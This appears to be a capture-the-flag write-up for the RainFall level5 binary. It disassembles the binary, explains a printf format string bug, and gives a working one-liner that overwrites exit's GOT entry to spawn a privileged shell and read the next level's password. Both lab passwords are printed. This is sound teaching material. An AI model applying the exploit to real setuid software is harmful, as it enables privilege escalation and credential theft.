We find a binary file at the root of the user level5
named ./level5
.
To analyze the binary file we copy it to our own environment with scp
(OpenSSH secure file copy).
scp -r -P 4243 level5@localhost:/home/user/level5/level5 .
I am running r2
inside docker.
docker run -it -v "$bin_file_path":/mnt/binary radare/radare2 bash -c "sudo /snap/radare2/current/bin/r2 /mnt/binary"
On the r2
prompt we need to run a couple of commands to analyze the main
function.
[0x08048de8]> aaa # Analyze the binary
...
[0x08048ec0]> v # Enter visual mode
(gdb) set disassembly-flavor intel
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x08048334 _init
0x08048380 printf
0x08048380 printf@plt
0x08048390 _exit
0x08048390 _exit@plt
0x080483a0 fgets
0x080483a0 fgets@plt
0x080483b0 system
0x080483b0 system@plt
0x080483c0 __gmon_start__
0x080483c0 __gmon_start__@plt
0x080483d0 exit
0x080483d0 exit@plt
0x080483e0 __libc_start_main
0x080483e0 __libc_start_main@plt
0x080483f0 _start
0x08048420 __do_global_dtors_aux
0x08048480 frame_dummy
0x080484a4 o # -----
0x080484c2 n # -----
0x08048504 main # -----
0x08048520 __libc_csu_init
0x08048590 __libc_csu_fini
0x08048592 __i686.get_pc_thunk.bx
0x080485a0 __do_global_ctors_aux
0x080485cc _fini
(gdb) disassemble o
Dump of assembler code for function o:
0x080484a4 <+0>: push ebp
0x080484a5 <+1>: mov ebp,esp
0x080484a7 <+3>: sub esp,0x18
0x080484aa <+6>: mov DWORD PTR [esp],0x80485f0
0x080484b1 <+13>: call 0x80483b0 <system@plt>
0x080484b6 <+18>: mov DWORD PTR [esp],0x1
0x080484bd <+25>: call 0x8048390 <_exit@plt>
End of assembler dump.
(gdb) disassemble n
Dump of assembler code for function n:
0x080484c2 <+0>: push ebp
0x080484c3 <+1>: mov ebp,esp
0x080484c5 <+3>: sub esp,0x218
0x080484cb <+9>: mov eax,ds:0x8049848
0x080484d0 <+14>: mov DWORD PTR [esp+0x8],eax
0x080484d4 <+18>: mov DWORD PTR [esp+0x4],0x200
0x080484dc <+26>: lea eax,[ebp-0x208]
0x080484e2 <+32>: mov DWORD PTR [esp],eax
0x080484e5 <+35>: call 0x80483a0 <fgets@plt>
0x080484ea <+40>: lea eax,[ebp-0x208]
0x080484f0 <+46>: mov DWORD PTR [esp],eax
0x080484f3 <+49>: call 0x8048380 <printf@plt>
0x080484f8 <+54>: mov DWORD PTR [esp],0x1
0x080484ff <+61>: call 0x80483d0 <exit@plt>
End of assembler dump.
(gdb) disassemble main
Dump of assembler code for function main:
0x08048504 <+0>: push ebp
0x08048505 <+1>: mov ebp,esp
0x08048507 <+3>: and esp,0xfffffff0
0x0804850a <+6>: call 0x80484c2 <n>
0x0804850f <+11>: leave
0x08048510 <+12>: ret
End of assembler dump.
(gdb)
The equivalent program in C would be:
#include <stdio.h>
#include <stdlib.h>
int n()
{
char v4[520]; // [esp+10h] [ebp-208h] BYREF
fgets(v4, 512, stdin);
printf(v4);
exit(1);
}
int o()
{
system("/bin/sh");
_exit(1);
}
int main() {
return (n());
}
We can see that this time we have, an fgets()
function instead of a gets()
function, which is protected against buffer overflow, but the printf()
is vulnerable against format string
exploits. And also an uncalled function o()
with a shell waiting to be executed. The fact that our functions have an exit
function instead of a return
means that we can't use the EIP register to point our next instruction to the o()
function.
What we can do is to modify the GOT (Global Offset Table) so that instead of the exit
function we redirect the execution to our o()
function.
Note
When a program is loaded into memory, the dynamic linker/loader fills in the entries of the Global Offset Table with the actual addresses of global symbols. This process is part of the dynamic linking process and allows the program to resolve symbols from shared libraries at runtime.
Important
The Global Offset Table is crucial for dynamic linking but can also be a target for attackers. Attacks like "GOT overwrite" or "GOT hijacking" exploit vulnerabilities related to the Global Offset Table to redirect the execution flow of a program to malicious code.
As we can see in the permissions of the executable file, the binary ./level5
is executed with the privileges of the user level6, the owner of the file.
level5@RainFall:~$ ls -l level5
-rwsr-s---+ 1 level6 users 5385 Mar 6 2016 level5
After our input gets captured by the fgets
function into the buffer, it prints it directly to the printf
function as unique parameter printf(buffer)
. This means that we can input format strings for printf and they will be executed.
(gdb) set disassembly-flavor intel
(gdb) disassemble n
Dump of assembler code for function n:
0x080484c2 <+0>: push ebp
0x080484c3 <+1>: mov ebp,esp
0x080484c5 <+3>: sub esp,0x218
0x080484cb <+9>: mov eax,ds:0x8049848
0x080484d0 <+14>: mov DWORD PTR [esp+0x8],eax
0x080484d4 <+18>: mov DWORD PTR [esp+0x4],0x200
0x080484dc <+26>: lea eax,[ebp-0x208]
0x080484e2 <+32>: mov DWORD PTR [esp],eax
0x080484e5 <+35>: call 0x80483a0 <fgets@plt>
0x080484ea <+40>: lea eax,[ebp-0x208]
0x080484f0 <+46>: mov DWORD PTR [esp],eax
0x080484f3 <+49>: call 0x8048380 <printf@plt>
0x080484f8 <+54>: mov DWORD PTR [esp],0x1
0x080484ff <+61>: call 0x80483d0 <exit@plt>
End of assembler dump.
(gdb) break *0x080484ea
Breakpoint 1 at 0x80484ea
(gdb) run
Starting program: /home/user/level5/level5
AAAA %#x %#x %#x %#x %#x %#x %#x %#x
Breakpoint 1, 0x080484ea in n ()
(gdb) x/s $eax
0xbffff440: "AAAA %#x %#x %#x %#x %#x %#x %#x %#x\n"
(gdb) x/8xw $eax
0xbffff440: 0x41414141 0x78232520 0x78232520 0x78232520
0xbffff450: 0x78232520 0x78232520 0x78232520 0x78232520
(gdb) continue
Continuing.
AAAA 0x200 0xb7fd1ac0 0xb7ff37d0 [0x41414141 0x78232520 0x78232520 0x78232520 0x78232520]
As we see here, the input string (or the buffer) is stored on the EAX
register and when printf
executes the format specifiers %x
, retreiving values from the stack (as it doesn't have any parameter to retreive from), we can identify our input string 0x41414141 0x78232520 0x78232520 0x78232520 0x78232520
on the 4th format specifier / argument.
There is one format specifier in printf
that allow us to store the number of characters written so far, into the integer pointed to by the corresponding argument: %n
. We can specify in which argument we want this number of characters to be stored in, by specifying it like this: %<argumentNumber>$n
.
We want to change the exit
address (not _exit
) on the GOT table to the o()
function address, so we can redirect the execution flow of our program at the end of the n()
function.
To find the exit address on the GOT table we have to open radare2 and execute the following commands:
[0x080484ff]> aaa # Analyze the binary
...
[0x080484ff]> s 0x080484ff # Seek exit function
[0x080484ff]> pdf # Printf disassembly of the current function
[0x080484ff]> afl # List all functions in the binary
[0x080484ff]> s 0x080483d0
[0x080483d0]> pdf
; CALL XREF from sym.n @ 0x80484ff(x)
/ 6: void sym.imp.exit (int status);
| rg: 0 (vars 0, args 0)
| bp: 0 (vars 0, args 0)
| sp: 0 (vars 0, args 0)
\ 0x080483d0 ff2538980408 jmp dword [reloc.exit] ; 0x8049838
We got the address of the exit
function in the GOT: 0x8049838
.
As our input begins on the 4th "argument" of printf
, we can specify there the exit
address, to overwritte it with the O()
address 0x080484a4
(int: 134513828
) with %4$n
.
We need the address c
to be equal to 134513828 to get access to the shell with system("/bin/sh")
. So in order to write the number 134513828 on the variable, we can use the %n
specifier and compose an input string of 134513828 bytes or characters.
0x08049838 --> \x38\x98\x04\x08
\x38\x98\x04\x08 + padding of 134513824 characters with %134513824c + %4$n
Connect with ssh -p 4243 level5@localhost
Enter the password 0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575cafc9ae6d75e9456a
We can execute the printf
buffer to store the number 134513828 on the address 0x08049838
where the exit
GOT's address is with this line. Of course, because we are running a shell through a pipe, we can keep the stdin
open like the same trick from the last level:
(printf '\x38\x98\x04\x08' && echo '%134513824c%4$n' ; cat ) | ./level5
cat /home/user/level6/.pass
d3b7bf1025225bd715fa8ccb54ef06ca70b9125ac855aeab4878217177f41a31